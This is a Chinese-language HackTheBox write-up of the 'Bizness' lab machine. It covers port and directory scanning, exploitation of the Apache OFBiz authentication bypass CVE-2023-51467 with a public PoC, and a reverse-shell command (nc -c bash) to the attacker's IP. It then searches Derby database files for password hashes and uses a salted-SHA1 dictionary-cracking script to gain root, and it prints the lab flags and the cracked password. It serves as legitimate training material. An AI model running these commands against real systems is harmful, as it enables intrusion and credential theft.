0x01 信息收集
过了一个年,太久没动脑了,随便做个靶场活跃一下脑子。
打开机器后,IP地址为:10.10.11.252
然后进行信息收集,首先扫描开放的端口
nmap
-sV
10
.10
.11
.252
发现开放了22,80,443端口,显示linux系统。通过浏览器直接访问IP地址自动跳转到域名bizness.htb后访问失败,因此我们需要加hosts进行域名绑定,有火绒直接用火绒那边修改
访问后是一个网页
0x02 web渗透
随便点点未发现东西,随即我们对该网站进行dirsearch目录扫描看看是否存在一些路径
python3 .dirsearch.py -u https:
//bizness.htb/
扫描后发现存在一些登录路径,通过对网页的foot发现是一个 Apache OFBiz框架
尝试弱口令后无果,然后通过百度进行搜索该框架是否存在漏洞,发现最近有远程代码执行漏洞CVE-2023-51467,然后github搜索该漏洞的POC:https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass,然后进行poc验证
python3 exploit.py --url https:
//bizness.htb/
验证后发现存在该漏洞,随即进行漏洞利用反弹一个shell回来
python3
exploit.py --url https://bizness.htb/ --cmd
'nc -c bash 10.10.14.10 1234'
升级成交互式shell看的更舒服方便
python3 -
c
'
import
pty;pty.spawn("/bin/bash")'
然后进入home目录,找到第一个flag
bcbb4864adbb5d2de97c75432cca4eb0
0x03 权限提升
按照尿性使用sudo -l查看特权文件,发现还是需要密码。。
然后直接find查找root、admin关键字
find
/ -name
"*admin*"
不过好像没找到啥,要不然就只能进网站跟目录一个个看有没有什么线索,根目录在/opt/ofbiz下,就是反弹shell时候初始路径,然后找了很久很久很久,终于找到一个配置文件了
/opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml
找到一个登录密码的hash值,不清楚是哪种加密,只能重新找线索
{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a
尝试找一下数据库配置文件,直接问chatgpt:<OFBiz安装目录>/framework/entity/config/entityengine.xml
找到了一些数据库账号密码,但是好像也没开放数据库端口
然后看到有个数据库名字叫derby的,然后chatgpt说derby数据库文件在<OFBiz安装目录>/runtime/data/derby/
那么就切换到该路径:/opt/ofbiz/runtime/data/derby/ ,然后看到ofbiz目录下有个seg0目录,下面好多个dat,应该就是放数据的地方
然后遍历下所有的dat,看看有没有password的关键字
strings
-f
*.dat
| grep -i
'password'
找到一个passowrd,不过也是SHA-1算法加盐值d的哈希值
$SHA
$d
$uP0_QaVBpDWFeo8
-dRzDqRwXQ2I
这里需要对哈希值进行破解,这里使用脚本:
import hashlib
import base64
def crack_sha1_with_salt(hash_value, dictionary_path):
with
open
(dictionary_path,
'r'
,
encoding
=
'utf-8'
,
errors
=
'ignore'
)
as
f:
for
word
in
f:
word = word.strip()
salt
, encoded_hash = hash_value.split(
'$'
)[
2
:]
encoded_hash +=
'='
* (-
len
(encoded_hash) %
4
)
# 添加适当数量的填充字符
decoded_hash = base64.urlsafe_b64decode(encoded_hash.replace(
'-'
,
'+'
).replace(
'_'
,
'/'
)).hex()
salted_word =
salt
+ word
hashed_word = hashlib.sha1(salted_word.encode(
'utf-8'
)).hexdigest()
if
hashed_word == decoded_hash:
return
word
return
None
# 输入参数
hash_value =
"$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
dictionary_path =
"/usr/share/wordlists/rockyou.txt"
# 调用函数进行破解
result
= crack_sha1_with_salt(hash_value, dictionary_path)
# 输出结果
if
result
:
print(
"破解成功!密码为:"
,
result
)
else
:
print(
"未找到匹配的密码。"
)
还有一个知识点,为了保证哈希值传输的完整性,脚本里面需要使用base64编码和编码中的特殊字符进行替换
这里也是很多师傅写文章时候容易忽略的问题,知道要替换,但是为什么要替换也没有提到。知其然要知其所以然。
破解成功,密码为:monkeybizness
然后su切换到root用户,密码正确
在root目录下找到root flag:
e8b759fe6e2b0c675302b565709bfef5
完结撒花!
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】HackTheBox靶场之Bizness
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论